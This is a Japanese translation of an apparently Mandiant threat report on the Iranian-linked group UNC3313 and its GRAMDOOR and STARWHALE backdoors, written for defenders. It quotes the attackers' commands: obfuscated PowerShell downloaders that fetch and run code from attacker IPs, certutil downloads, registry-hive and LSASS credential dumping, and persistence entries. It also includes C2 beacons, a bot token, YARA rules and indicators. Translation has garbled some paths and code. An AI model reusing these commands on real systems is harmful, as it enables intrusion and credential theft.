未読: 最新のイランのサイバー スパイ活動で発見されたテレグラム マルウェア

Modified CRACKMAPEXEC with inclusion of setup_database.py code news

2021 年 11 月、 Mandiant Managed Defenseは、中東政府の顧客に対するUNC3313の侵入を検出し、対応しました。調査中に、Mandiant は、単純なバックドア機能を実装する新しい標的型マルウェア、 GRAMDOORおよびSTARWHALEを特定しました。また、UNC3313 が公開されているリモート アクセス ソフトウェアを使用して、環境へのアクセスを維持していることも確認しました。 UNC3313 は当初、標的型フィッシング メールを介してこの組織へのアクセスを取得し、変更されたオープンソースの攻撃的なセキュリティ ツールを利用して、アクセス可能なシステムを特定し、横方向に移動しました。 UNC3313 は、最初の侵害から 1 時間以内に ScreenConnect を使用してシステムに侵入し、リモート アクセスを確立するために迅速に動きました。 Mandiant Managed Defense とお客様のセキュリティ チームの迅速な調整により、インシデントは迅速に封じ込められ、修復されました。

Mandiant は、UNC3313 が監視を実施し、イランの利益と意思決定を支援するための戦略的情報を収集していることを、ある程度の自信を持って評価しています。ターゲティング パターンと関連するルアーは、地政学的なつながりを持つターゲットに重点を置いていることを示しています。

このブログ投稿では、UNC3313 によって実行された侵入の詳細と、調査中に特定されたマルウェアおよび公開されているツールについて説明します。

帰属

Mandiant は、ラベル「UNC」グループ (または「未分類」グループ) を使用して、攻撃者のインフラストラクチャ、ツール、トレード クラフトなどの観察可能なアーティファクトを含む侵入活動のクラスターを指します。 APT、または FIN ( Mandiant が未分類の攻撃者を追跡する方法の詳細をご覧ください)。 Mandiant は、現時点で入手可能な情報に基づいて、UNC3313 がTEMP.Zagros (オープン ソースでは MuddyWater として報告されている) に関連付けられていると中程度の確信を持って評価しています。 TEMP.Zagros は、スピア フィッシング操作でPOWERSTATSPOWGOOPMORIAGENTなどのマルウェアを使用して、何年にもわたってツールキットを一貫して更新してきました。このグループが最初の侵害に ScreenConnect を使用したことは、 オープン ソースで十分に文書化されています。

特に、2022 年 1 月 12 日、米国政府は TEMP.Zagros をイラン情報安全保障省 (MOIS) の下位組織であると見なしていると公言し、少なくとも 2020 年以降、同グループが使用しているマルウェア ファミリ (POWGOOP および MORIAGENT) のサンプルを公開しました。 2020年。

ターゲティング

2021 年後半、Mandiant は、GRAMDOOR と STARWHALE を使用して中東の政府機関とテクノロジー企業を標的とする UNC3313 キャンペーンを特定しました。 TEMP.Zagros はこれまで、政府、防衛、電気通信、エネルギー、金融など、中東、中央および南アジア全体のこれらの地域とセクターを標的にしてきました。ターゲット パターンと関連するルアーは、地政学的なつながりを持つターゲットと中東の電気通信セクターに重点を置いていることを示しています。

観測されたマルウェア

Mandiant は、UNC3313 が次のマルウェア ファミリを展開していることを確認しました。

表 1: UNC3313 マルウェア ファミリ

マルウェアファミリー

説明

グラムドア

GRAMDOOR は Python で記述されたバックドアで、Telegram Bot API を使用して HTTP 経由で Telegram サーバーと通信します。サポートされているコマンドには、cmd.exe によるコマンド実行が含まれます。

スタークジラ

STARWHALE は、HTTP 経由で通信する Windows Script File (WSF) バックドアです。サポートされているコマンドには、シェル コマンドの実行とシステム情報の収集が含まれます。

スターホエール・ゴー

STARWHALE.GO は、HTTP 経由で通信する GO プログラミング言語で書かれたバックドアです。バックドアは、シェル コマンドを実行し、ローカル IP アドレス、コンピューター名、ユーザー名などのシステム情報を収集できます。

CRACKMAPEXEC

CRACKMAPEXEC は、大規模な Active Directory ネットワークのセキュリティ評価を自動化するのに役立つ、悪用後のツールです。

展望と影響

コマンド アンド コントロールに Telegram API を使用すると、悪意のあるトラフィックが正当なユーザーの行動に紛れる可能性があります。 Mandiant は、正規のリモート アクセス ソフトウェア、LIGOLO や CrackMapExec などの一般に公開されているツール、および多層エンコーディング ルーチンの使用と組み合わせて、これが TEMP.Zagros の検出およびセキュリティ機能を回避しようとする試みを反映していると考えています。一方、米国政府が最近、「MuddyWater」をイラン情報安全保障省に帰属させたことが、このグループの活動にどのように影響するかは不明です。グループが、追加の作戦を実施する前に、戦術、技術、および手順を再調整し、変更する可能性があります。

UNC3313 攻撃のライフサイクル

足場を固める

UNC3313 は当初、複数のシステムを侵害するスピア フィッシング攻撃を通じて顧客の環境へのアクセスを取得しました。フィッシング メールは、就職活動のルアーを使って作成され、複数の被害者をだまして URL をクリックさせ、クラウド ストレージ サービスの OneHub でホストされている RAR アーカイブ ファイルをダウンロードさせました。このパターンは、 AnomaliTrend Microによるオープンソース レポートの観察結果と一致しています。

RAR アーカイブには、足場を確立するために ScreenConnect リモート アクセス ソフトウェアをインストールする Windows インストーラー .msi ファイルが含まれていました。図 1は、Windows アプリケーション ログに記録された、performance.msi の実行に関する Windows インストーラー トランザクション イベントを示しています。

図 1: performance.msi の Windows インストーラー トランザクション イベント

ログ: アプリケーション

ソース: MsiInstaller

EID: 1040

メッセージ: Windows インストーラー トランザクションを開始しています: C:Users<redacted>AppDataLocalTempRar$EXb7468.17680performance.msi-++-748-++-(NULL)-++-(NULL )-++-(NULL)-++-(NULL)-++–++-。クライアント プロセス ID: 0。

前述のとおり、UNC3313 は迅速に動き、ScreenConnect を介してリモート アクセスを確立し、最初の侵害から 1 時間以内にシステムに侵入しました。 ScreenConnect は、単一の CLI コマンドをクライアントに発行する機能、またはBackstage Modeを使用して完全なターミナルを開く機能を提供します。 Mandiant は、親プロセス ScreenConnect.ClientService.exe による cmd.exe および powershell.exe を使用したコマンド実行を観察しました。

図 2: ScreenConnect クライアント接続とコマンド実行イベント ログ

ログ: アプリケーション

ソース: ScreenConnect クライアント (f494f7a48b0cd497)

EID: 0

メッセージ: クラウド アカウント管理者が接続されました-++-

ログ: アプリケーション

ソース: ScreenConnect クライアント (f494f7a48b0cd497)

EID: 0

メッセージ: クラウド アカウント管理者が切断されました-++-

ログ: アプリケーション

ソース: ScreenConnect クライアント (f494f7a48b0cd497)

EID: 0

メッセージ: 実行されたコマンドの長さ: 13-++-

ScreenConnect.ClientService.exe プロセスがアクティブに実行されている場合、instance-<6 文字の英数字 ID>-relay.screenconnect.com で ScreenConnect リレー サービスの DNS ルックアップを実行しました。 Mandiant は、ScreenConnect.WindowsClient.exe プロセスが最初に感染したホストに追加の攻撃ツールを書き込むことを観察しました。これは、ファイルがアクティブな ScreenConnect セッションを通じてコピーされたことを示しています。

図 3: ScreenConnect Windows クライアント プロセスによるファイル書き込みイベント

ファイル書き込みイベント

フル パス: C:ProgramDataligo64.exe

サイズ: 3474432

MD5: 7fefce7f2e4088ce396fd146a7951871

プロセス: ScreenConnect.WindowsClient.exe

プロセス パス: C:Program Files (x86)ScreenConnect Client (f494f7a48b0cd497)

親プロセスのパス: C:Program Files (x86)ScreenConnect Client (f494f7a48b0cd497)ScreenConnect.ClientService.exe

権限の昇格

Mandiant は、UNC3313 が正規の Windows ユーティリティを使用して、一般的な認証情報ダンプ技術を使用していることを確認しました。 UNC3313 は、オープンソースのWMIEXEC.PY攻撃フレームワークを利用して reg コマンドを実行し、ローカルの SAM、SYSTEM、および SECURITY Windows レジストリ ハイブのコピーをエクスポートします。 WMIEXEC.PY は、WMI (Windows Management Instrumentation) を介して、リモート システム (ターゲット システムで管理者権限と DCOM ポートにアクセスできる) での簡単なコマンド呼び出しを可能にします。

図 4: WMIEXEC.PY によって実行される疑わしいレジストリ エクスポート

cmd.exe /Q /c reg save HKLMSAM C:userspublicsam 1> 127.0.0.1ADMIN$__1637143994.2306612 2>&1

cmd.exe /Q /c reg save HKLMSYSTEM C:userspublicsystem 1> 127.0.0.1ADMIN$__1637143994.2306612 2>&1

cmd.exe /Q /c reg save HKLMSECURITY C:userspublicsecurity 1> 127.0.0.1ADMIN$__1637143994.2306612 2>&1

UNC3313 は、Task Manager アプリケーションを使用して、lsass.exe のプロセス メモリをダンプしました (図 5に示すように、プロセス Taskmgr.exe がファイル lsass.dmp を書き込んだとき)。

図 5: LSASS.EXE のタスク マネージャー ダンプ

ファイル書き込みイベント

フルパス: C:Users<redacted>AppDataLocalTemplsass.DMP

サイズ: 59378917

プロセス: Taskmgr.exe

プロセス パス: C:WindowsSystem32

親プロセスのパス: C:Windowsexplorer.exe

内部偵察と横移動

Mandiant は、UNC3313 が公開されている攻撃的なセキュリティ ツールを利用して、リモート コマンドの実行、内部偵察、ネットワーク トンネリング、横方向の移動を実行していることを確認しました。 UNC3313 は、Pyinstaller でコンパイルされたオープンソースの侵入テスト ツール CrackMapExec v3.0 (CRACKMAPEXEC) のわずかに変更されたバージョンを使用して、システムの列挙とユーザー アカウントの偵察を実行し、ターゲット システムでリモート コマンドを実行しました。攻撃者が使用した aa.exe という名前の CRACKMAPEXEC の修正版には、ツールの説明が削除され、ユーティリティ setup_database.py からのデータベース セットアップ コードが含まれており、余分なインストール手順が回避されていました (図 6)。

Modified CRACKMAPEXEC with inclusion of setup_database.py code
図 6: setup_database.py コードを含めて変更された CRACKMAPEXEC

UNC3313 は、図 7図 8に示すコマンドを使用して、CRACKMAPEXEC で初期偵察とアカウント アクセス テストを実行しました。 CRACKMAPEXEC によって収集された資格情報とホスト情報は、ローカル データベース ファイル cme.db に格納されていました。

図 7: コンパイルされた CRACKMAPEXEC の最初の実行
aa.exe 10.20.11.1/24
図 8: CRACKMAPEXEC を使用したローカル管理者アクセスのテスト
aa.exe 10.20.11.1/24 -u <ローカル管理者> -p <パスワード> –local-auth

UNC3313 は、CRACKMAPEXEC を使用して Windows ユーティリティ certutil を実行し、難読化された PowerShell コマンドを実行して、リモート システムに追加のツールとペイロードをダウンロードしました。

図 9: 難読化された PowerShell ダウンローダーの実行
aa.exe 10.20.11.11 -u <ローカル管理者> -p <パスワード> –local-auth -x “powershell -exec bypass
“関数デコード($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i
-lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
[System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;};IEX (デコード
‘J3QjPiNYUHpwd2ZuLU1mdy1Ld3dzVGZhUWZydmZwd145OUBxZmJ3Ziska3d3czksLDc2LTI3M
S0xMjetNTI5OzMsZGZGcVNrdzVgWWgwZXJkMzNlS0xtaWA6SDJbW2FvQVskKjgndC1zcWx7ei
M+I1hNZnctVGZhUWZydmZwd145OURmd1B6cHdmblRmYVNxbHt6Kyo4J0Z7ZmB2d2psbUBs
bXdme3ctSm11bGhmQGxubmJtZy1KbXVsaGZQYHFqc3crK01mdC5MYWlmYHcjUHpwd2ZuLU
pMLVB3cWZiblFmYmdmcSsndC1EZndRZnBzbG1wZisqLURmd1FmcHNsbXBmUHdxZmJuKyoqK
i1RZmJnV2xGbWcrKio4′ 3);”

難読化された PowerShell ダウンローダは、base64 エンコーディングと単純な XOR 暗号化を使用して、図 10に示す一般的なコマンド構文にデコードしました

図 10: 難読化が解除された PowerShell コマンド

$w = [System.Net.HttpWebRequest]::Create(‘http[:]// 45.142.212[.]61:80/geErPht6cZk3fqg00fHOnjc9K1XXblBX’);

$w.proxy = [Net.WebRequest]::GetSystemWebProxy();

$ExecutionContext.InvokeCommand.InvokeScript((New-Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd());

UNC3313 は、マルチプラットフォームのLIGOLO トンネラーユーティリティを使用して、お客様の環境へのトンネル アクセスを確立しました。 LIGOLO は、GO で記述されたオープンソースの暗号化されたリバース SOCKS5 または TCP トンネラーです。 LIGOLO ユーティリティは、コマンドライン引数「-s3」を使用して実行され、文書化された引数「-relayserver」の代わりにリレー サーバーを指定しました。これは、GitHub リポジトリからダウンロードした元のコードの変更を示しています。

図 11: CRACKMAPEXEC を介して LIGOLO トンネラーをダウンロードするための certutil のリモート実行
aa.exe 10.20.11.11 -u <ローカル管理者> -p <パスワード> –local-auth -x “certutil.exe -urlcache -split -f http[:]//95.181.161[.]81:443/ l.exe C:programdatal.exe”
図 12: リレー サーバーを使用した LIGOLO トンネラー ユーティリティの実行
c:programdataligo64.exe -s3 95.181.161[.]81:5555

Mandiant は、LIGOLO を使用してトンネリングされた RDP 接続を介して UNC3313 によってアクセスされたシステムの Windows ログオン イベントで、ホスト名 DESKTOP-5EN5P2I を観察しました。

図 13: LIGOLO 経由の RDP セッション トンネリングの証拠を示す Windows ログオン イベント

ログ: セキュリティ

EID: 4624

ネットワーク情報:

ワークステーション名: DESKTOP-5EN5P2I

ソース ネットワーク アドレス: –

ソース ポート: –

ログ: Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational

EID: 1149

ユーザー: <ローカル管理者>

ドメイン: デスクトップ-5EN5P2I

ソース ネットワーク アドレス: 10.20.11.14

永続性を維持する

Mandiant は、UNC3313 によって使用された STARWHALE という名前の新しいマルウェア ファミリを特定しました。 STARWHALE は、コマンド アンド コントロール (C2) サーバーから HTTP 経由でコマンドを受信し、それらのコマンドを Windows cmd.exe 経由で実行する Windows スクリプト ファイル バックドアです。感染したシステムでは、図 14 に示すように、STARWHALE がコマンドライン引数を使用して実行されていることが観察されました。

図 14: STARWHALE の実行
cmd.exe /c cscript.exe c:windowssystem32w7_1.wsf humpback__whale
STARWHALE コード スニペット
図 15: STARWHALE コード スニペット

コマンド ライン引数 “humpback__whale ” は、VBScript 関数 GetRef を使用して実行時に関数を動的に解決するためにコードで使用されます。 STARWHALE には永続化メカニズムが含まれていないため、図 16 に示すようにサービスが作成されます。

図 16: STARWHALE 永続化メソッド
sc create Windowscarpstss binpath= “cmd.exe /c cscript.exe c:windowssystem32w7_1.wsf humpback__whale” start= “auto” obj= “LocalSystem”

STARWHALE は、マルウェアにハードコードされている C2 サーバーと通信します。マルウェアは、最初の実行時に、ローカル IP アドレス、コンピューター名、ユーザー名などの基本的なユーザーおよびシステム情報を収集します。次に、図 17 に示すように、情報を C2 IP アドレスに送信する前に、カスタム エンコード スキームを使用してこの情報をエンコードします。

図 17: STARWHALE ビーコン

POST /jznkmustntblvmdvgcwbvqb HTTP/1.1

接続: キープアライブ

コンテンツタイプ: application/x-www-form-urlencoded;文字セット=UTF-8

承認: */*

Accept-Language: en-us

ユーザーエージェント: Mozilla/4.0 (互換; Win32; WinHttp.WinHttpRequest.5)

文字セット: UTF-8

コンテンツの長さ: 69

ホスト: 5.199.133[.]149

vl=27732737231435E335F4239537109C22531327535C22D1327235E46253E2215613

図 17 に示すように、POST 要求パラメーター「vl=」を介して渡された 16 進数値は、次のシステム列挙情報にデコードされ、パイプで結合され、区切り記号で区切られます。

<IPアドレス>|デリミタ|<ホスト名><ユーザー名

観察されたサンプルの区切り文字は「|!)!)!|」でした。次に、C2 サーバーが同じスキームを使用してエンコードされた文字列値を返すことを期待します。この文字列値は、その後のすべての POST 要求に含まれます。 STARWHALE の最初のリクエストが成功すると、HTTP POST リクエストを介してループ内でセッション キーを hxxp://5.199.133[.]149/oeajgyxyxclqmfqayv にある C2 サーバーに送信し始めます。図 18 に示すように、C2 サーバーは、cmd.exe を介して実行されることを意図したコマンドで応答します。

図 18: STARWHALE コマンドの実行プロセス
cmd.exe /c <コマンド> >> %temp%stari.txt.

コマンドの出力は、「stari.txt」というファイルに書き込まれます。次に、カスタム スキームを使用して出力をエンコードし、次の POST リクエストで C2 サーバーに送り返します。構造は、図 19 に示されているものと似ています。

図 19: C2 に送信された STARWHALE 情報
<c2_session_key>|!)!)!|<command_output>

コマンドが失敗すると、エンコードされた文字列「SoRRy」が C2 に送信されます。特に、STARWHALE の初期のイテレーションで、Mandiant は文字列「sory」を使用してそれを観察しました [sic]。セキュリティ研究者が公開フォーラムで文字列をハイライトした後、攻撃者はスペルミスを修正しました。 Mandiant は、イランの攻撃者による他のキャンペーンで同様のスペルミスを確認しました。

侵入中、Mandiant は攻撃者が、STARWHALE と多くの点で類似した設計をしているが Golang で記述されたマルウェアを展開していることも確認しました。 Mandiant は、このコード ファミリーを STARWHALE.GO と呼んでいます。これは、図 20 に示すように、certuil.exe ユーティリティを使用してシステムにダウンロードされます。

図 20: STARWHALE.GO のダウンロード
certutil.exe -urlcache -split -f hxxp://95.181.161[.]81:443/per_indexx.exe

STARWHALE.GO は、Nullsoft Scriptable Install System (NSIS) インストーラーの一部として届きます。このインストーラーは、OutlookM というディレクトリにインストールし、Windows レジストリに Run キーを作成してシステム上で永続化します。実行時に、Golang バイナリをドロップして実行します。

図 21: STARWHALE.GO の NSIS スクリプト スニペット

InstType $(LSTR_37) ;カスタム

インストールディレクトリ $LOCALAPPDATAOutlookM

; install_directory_auto_append = OutlookM

; wininit = $WINDIRwininit.ini

; ——————–

;セクション: 1

;コマンド: 6

セクション ; Section_0

;追加サイズ 4744

ディレクトリの作成 $INSTDIR

SetOutPath $INSTDIR

ファイル index.exe

Exec $INSTDIRindex.exe

WriteRegStr HKCU SOFTWAREMicrosoftWindowsCurrentVersionRun OutlookM $INSTDIRindex.exe

セクション終了

NSIS 実行可能ファイルを実行すると、次のレジストリ キーが作成されます。

図 22: STARWHALE.GO 永続化メソッド

キー: HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOutlookM

値: C:Users<redacted>AppDataLocalOutlookMindex.exe

また、STARWHALE.GO はカスタム データ エンコーディング アルゴリズムを使用して、ネットワーク通信とバイナリ内の重要な文字列を保護します。 STARWHALE と同じ情報を送信しますが、送受信されるデータは JSON オブジェクトです。サンプルの HTTP POST 要求を図 23 に示します。

図 23: STARWHALE.GO HTTP C2 ビーコン

POST /nnskfepmasiiohvijcdpxtxzjv HTTP/1.1

ホスト: 87.236.212[.]184

ユーザーエージェント: Go-http-client/1.1

コンテンツの長さ: 91

コンテンツ タイプ: アプリケーション/json

Accept-Encoding: gzip

{“vl”:”2179526e3176587ec7557e4192495c46264556569c47693e8d39415432445722222733323323332333″}

STARWHALE.GO は別の区切り文字「|&&%&&|」を使用します。 STARWHALE よりも異なりますが、ハードコードされた C2 IP アドレスに送信される残りの列挙された情報は同じです。同様に、マルウェアは C2 サーバーへの POST リクエストからの応答を読み取り、送信したデータのエンコードに使用したものと同じカスタム文字列変換ルーチンを使用してデコードを試みます。このルーチンは、後で説明するように、STARWHALE で使用されるルーチンよりも単純です。デコードされた結果は、プロセス「cmd.exe /c」を使用してコマンド ラインとして起動されるか、文字列が .com、.exe、.bat、または .cmd で終わる場合はプロセスとして直接起動されます。起動されたプロセスの出力、または文字列のデコードに失敗した場合のエラー メッセージは、hxxp://87.236.212[.]184/cepopggawztuxkxujfjbnpv にある C2 サーバーへの HTTP POST リクエストを介して C2 サーバーに送信されます。

Mandiant は調査中に、Python 3.9 でコンパイルされ、PyInstaller を介してパッケージ化された、Windows 8 以降でのみ実行される 3 つ目の UNC3313 バックドアを特定しました。 Mandiant は、通信に Telegram Bot API を使用できることから、このバックドアを GRAMDOOR と名付けました。攻撃者が作成した Telegram チャット ルームからメッセージを送受信します。図 24 に示すように、GRAMDOOR は NSIS インストーラーとしてパッケージ化されたシステムに到着します。

図 24: GRAMDOOR 永続化メソッド

キー: HKEY_USERS.DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunOutlookMicrosift

値: C:Users<redacted>AppDataRoamingOutlookMicrosiftindex.exe” Platypus

GRAMDOOR 用の NSIS インストーラーは、OutlookMicrosift という名前のサブディレクトリ内の APPDATA ディレクトリに、PyInstaller パッケージ化されたバイナリをドロップします。これは、図 25 に示すように、インストール ディレクトリから Exec コマンドを使用して実行されます。

図 25: GRAMDOOR の NSIS スクリプト スニペット

InstType $(LSTR_37) ;カスタム

InstallDir $APPDATAOutlookMicrosift

; install_directory_auto_append = OutlookMicrosift

; wininit = $WINDIRwininit.ini

; ——————–

;セクション: 1

;コマンド: 6

セクション ; Section_0

;追加サイズ 16859

ディレクトリの作成 $INSTDIR

SetOutPath $INSTDIR

ファイル index.exe

Exec “$INSTDIRindex.exe Platypus”

WriteRegStr HKCU SOFTWAREMicrosoftWindowsCurrentVersionRun OutlookMicrosift “$”$INSTDIRindex.exe$” Platypus”

セクション終了

GRAMDOOR は、1 つのコマンドライン パラメータ (この場合は「Platypus」) で起動されることを想定しています。このコマンドライン パラメータを使用して関数名をつなぎ合わせます。関数名が呼び出され、マルウェアへのエントリ ポイントとして機能します。 GRAMDOOR が実装するコマンドは、start と com の 2 つだけです。これらのコマンドは、コマンドがパイプされる cmd.exe プロセスを起動するために使用されます。すべてのネットワーク通信は、api.telegram[.]org の Telegram サーバーを介して行われます。これにより、攻撃者は通信を通常の Telegram トラフィックに偽装することができます。この手法は目新しいものではなく、イランの攻撃者が公開されているソフトウェアを悪用して C2 トラフィックを混入させたのはこれが初めてではありません。

マルウェアから Telegram サーバーへのすべての HTTP リクエストには、トークン文字列 2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY が含まれていました。トークン文字列は、ボットに対する認証に使用されます。図 26 にサンプル リクエストを示します。

図 26: GRAMDOOR サンプル リクエスト
hxxps://api.telegram[.]org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?chat_id=<chat_id>&parse_mode=Markdown&text=<コンテンツ>

マルウェアは sendMessage API 関数を使用して、チャット ID 番号に情報を送信します。アクターは、コマンドを発行し、実行されたコマンドの出力をチャットに送り返すことで、チャットを介してホストと対話します。たとえば、感染したホストからネットワーク構成情報を取得するために、攻撃者はコマンド「com<id> c607666261766066f9f23ec696」を発行します。ここで、値「c607666261766066f9f23ec696」は「ipconfig /all」コマンドに変換されます。

STARWHALE と GRAMDOOR は、C2 との間で送受信されるデータとコマンドに使用されるカスタム エンコーディング スキームのロジックが類似しています。次のコード スニペットは、STARWHALE のトラフィックのエンコードとデコード、および Telegram チャット メッセージ間でやり取りされる GRAMDOOR のコマンドを示しています。

図 27: エンコード/デコード カスタム ルーチンのサンプル コード スニペット

def transform_chars(データ):

データ = リスト (データ)

ソース = 0

dst = len(データ) – 1

一方、src < dst:

t = データ[ソース]

データ[src] = データ[dst]

データ[dst] = t

ソース += 3

dst -= 2

return ”.join(データ)

デフdecode_traffic (データ):

戻り値 bytes.fromhex(transform_chars(transform_chars(data)[::-1])).decode(‘utf’)

def encode_traffic (データ):

return transform_chars(transform_chars(data.encode(‘utf’).hex())[::-1])

また、GRAMDOOR は、独自の XOR ベースの暗号化スキームを使用して、機密性の高い文字列をコード内に隠しています。次のサンプル コードは、前述のスキームのロジックを示しています。

図 28: GRAMDOOR で使用される XOR ベースの暗号化スキームを示すサンプル スニペット

def xor_transform(データ):

key = ‘`qLd’ + str(5) + ‘Hm^yw/sG-qh&@~y|[dJmC’ + str(6) + ‘UFvNt-^^_FeSd’ + str(4) + ‘N*# GNophwQ-MCJ’ + str(1) + ‘?>L73PY’

return ”.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(data, key)))

 

def encode_str(データ):

base64.b64encode(xor_transform(data).encode()) を返す

 

デフdecode_str(データ):

return xor_transform(base64.b64decode(data).decode())

Mandiant はまた、UNC3313 がレジストリ キーに PowerShell ダウンローダ コマンドを格納していることを確認しました。これらのコマンドは、ユーザーのログオン時にトリガーされる「Oracle スケジュール アシスタントの自動更新」という名前のスケジュールされたタスクによって参照されました。

図 29: レジストリ値「Pre」に格納された PowerShell コマンド

パス: HKEY_LOCAL_MACHINESOFTWAREWow6432NodeOraclePre

タイプ: REG_SZ

値の名前: 前

テキスト: IEX

図 30: レジストリ値「Post」に格納された PowerShell コマンド

パス: HKEY_LOCAL_MACHINESOFTWAREWow6432NodeOraclePost

タイプ: REG_SZ

値の名前: 投稿

テキスト: function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);

for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]: :UTF8.GetString($enByte);return $dtxt;}while($true){try{$o=[System.Net.HttpWebRequest]::Create(‘http[:]//87.236.212[.]6 :80/esZ8389bp2LFqRLI’);

$o.proxy = [Net.WebRequest]::GetSystemWebProxy();$ExecutionContext.InvokeCommand.InvokeScript((decode (New-Object System.IO.StreamReader($o.GetResponse().GetResponseStream()))).ReadToEnd( ) 3));}catch{}Start-Sleep -Seconds 40;}

最後に、Mandiant は UNC3313 がベンダーの Web サイトから eHorus リモート アクセス ツールの Windows インストーラー ファイルをダウンロードして実行することを確認しました。 UNC3313 は、ファイル ehorus_installer_windows-1.1.3-x64_en-US.msi を実行し、EHORUSAGENT という名前のサービスを作成しました。 eHorus エージェント プロセス ehorus_agent.exe は、ehorus[.]com でホストされているドメインと通信します。

図 31: eHorus エージェントのサービスのインストール

ログ: システム

ソース: サービス コントロール マネージャー

EID: 7045

サービス名: eHorus エージェント ランチャー

サービスファイル名: &quot;C:Program Filesehorus_agentehorus_launcher.exe&quot; -s

eHorus は、スペインを拠点とするPandora FMSによって商業的に宣伝されている正規のリモート アクセス ツールです。 eHorus は最近、 シマンテックが、中東およびアジアの電気通信組織に対する同様のキャンペーンで、イランの脅威アクターによって悪用されていると報告されています。

Mandiant の標的型攻撃のライフサイクル

Mandiant の標的型攻撃のライフサイクルについて詳しくは、こちらをご覧ください。

Mandiant の標的型攻撃のライフサイクル
図 32: Mandiant の標的型攻撃のライフサイクル

MITRE ATT&CK テクニック

ATT&CK戦術カテゴリ

テクニック

資源開発

能力を獲得する (T1588)

開発能力(T1587)

初期アクセス

フィッシング(T1566)

実行

スケジュールされたタスク/ジョブ(T1053)

コマンドおよびスクリプト インタープリター(T1059)

システム サービス(T1569)

Windows 管理インストルメンテーション(T1047)

ブートまたはログオンの自動開始の実行(T1547)

ユーザー実行(T1204)

持続性

スケジュールされたタスク/ジョブ(T1053)

システム プロセスの作成または変更(T1543)

ブートまたはログオンの自動開始の実行(T1547)

権限昇格

スケジュールされたタスク/ジョブ(T1053)

防御回避

資格情報へのアクセス

OS 資格情報のダンプ(T1003)

強引な

発見

リモート システム ディスカバリ(T1018)

システム所有者/ユーザーの検出(T1033)

ネットワーク サービス スキャン(T1046)

横移動

リモート サービス(T1021)

コレクション

収集データのアーカイブ(T1560)

コマンドと制御

Ingress ツール転送(T1105)

リモート アクセス ソフトウェア(T1219)

アプリケーション層プロトコル(T1071)

プロトコル トンネリング(T1572)

Web サービス(T1102)

Mandiant のセキュリティ検証アクション

組織は、Mandiant Security Validation で次のアクションを使用して、セキュリティ コントロールを検証できます。

VID

名前

A102-562

コマンド アンド コントロール – GRAMDOOR、DNS クエリ、バリアント #1

A102-563

悪意のあるファイル転送 – GRAMDOOR、ダウンロード、亜種 #1

A102-564

悪意のあるファイル転送 – GRAMDOOR、ダウンロード、亜種 #2

A102-565

悪意のあるファイル転送 – STARWHALE、ダウンロード、亜種 #1

A102-566

悪意のあるファイル転送 – STARWHALE、ダウンロード、亜種 #2

A102-567

悪意のあるファイル転送 – STARWHALE、ダウンロード、亜種 #3

A102-568

悪意のあるファイル転送 – STARWHALE.GO、ダウンロード、亜種 #1

A104-975

保護された劇場 – GRAMDOOR、実行、バリアント #1

A104-976

保護された劇場 – STARWHALE、実行、バリアント #1

A104-977

ホスト CLI – GRAMDOOR、レジストリの永続性、バリアント #1

A104-978

ホスト CLI – STARWHALE、サービスの持続性、バリアント #1

子供のルール

ルール M_Hunting_Backdoor_STARWHALE_1

{

メタ:

著者=「マンディアント」

description = “STARWHALE サンプルの文字列を検出します”

md5 = ” cb84c6b5816504c993c33360aeec4705

回転 = 1

文字列:

$s1 = “JSCript” ascii nocase wide

$s2 = “VBSCript” ascii nocase wide

$s3 = “WScript.Shell” ascii nocase wide

$s4 = “ok” ascii nocase wide

$s5 = “いいえ” ascii nocase wide

$s6 = “stari.txt” ascii nocase wide

$s7 = “SoRRy” ascii ワイド

$s8 = “EMIP” ascii ワイド

$s9 = “NIp” ascii ワイド

$s10 = “401” ASCII ワイド

$s11 = “_!#” ASCII ワイド

$s12 = “/!&^^&!/” アスキー ワイド

$s13 = “|!)!)!|”アスキーワイド

$s14 = “|#@*@#|”アスキーワイド

$s15 = “/!*##*!/” ASCII ワイド

$s16 = “sory” ascii nocase wide

調子:

ファイルサイズ > 5KB およびファイルサイズ < 5MB および 10 個の ($s*)

}

ルールM_Hunting_Backdoor_STARWHALE_GO_1 {

メタ:

著者=「マンディアント」

description = “STARWHALE.GO の文字列を検出します”

文字列:
$main1 = “main.findExecutable” ascii
$main2 = “main.showMatrixElements” ascii
$delim = “|&&%&&|”アスキー
$matrix = “MATRIX1*MATRIX2” ascii
$sample = “1522526f4260f4653664276774” アスキー

調子:
uint16(0) == 0x5A4D および uint32(uint32(0x3C)) == 0x00004550 およびファイルサイズ < 15MB およびそのうちの 4

}

侵害の痕跡

タイプ

価値

説明

MD5

7c3564cd166822be4932986cb8158409

CrackMapExec

MD5

7fefce7f2e4088ce396fd146a7951871

リゴロ

MD5

5763530f25ed0ec08fb26a30c04009f1

グラムドア

MD5

15fa3b32539d7453a9a85958b77d4c95

グラムドア

MD5

cb84c6b5816504c993c33360aeec4705

スタークジラ

MD5

c8ff058db87f443c0b85a286a5d4029e

スクリーンコネクト

知財

88.119.175[.]112

リゴロ C&C

知財

95.181.161[.]50

リゴロ C&C

知財

45.153.231[.]104

リゴロ C&C

知財

95.181.16[.]81

マルウェア/ツールのホスティング

知財

5.199.133[.]149

スターホエール C&C

知財

45.142.213[.]17

スターホエール C&C

知財

87.236.212[.]184

STARWHALE.GO C&C

謝辞

このブログ投稿で説明したマルウェアのリバース エンジニアリングを支援してくれた Mike Hunoff、Nick Harbour、Muhammad Umair に、またマルウェア ファミリの検出を作成してくれた Adrien Bataille と Ervin James Ocampo に特に感謝します。さらに、Dan Andreiana、Alexander Pennino、Nick Richards、Jake Nicastro、Sarah Jones、Geoff Ackerman の技術レビューと貴重なフィードバックの提供に感謝します。

参照: https://www.mandiant.com/resources/blog/telegram-malware-iranian-espionage

Comments

Copied title and URL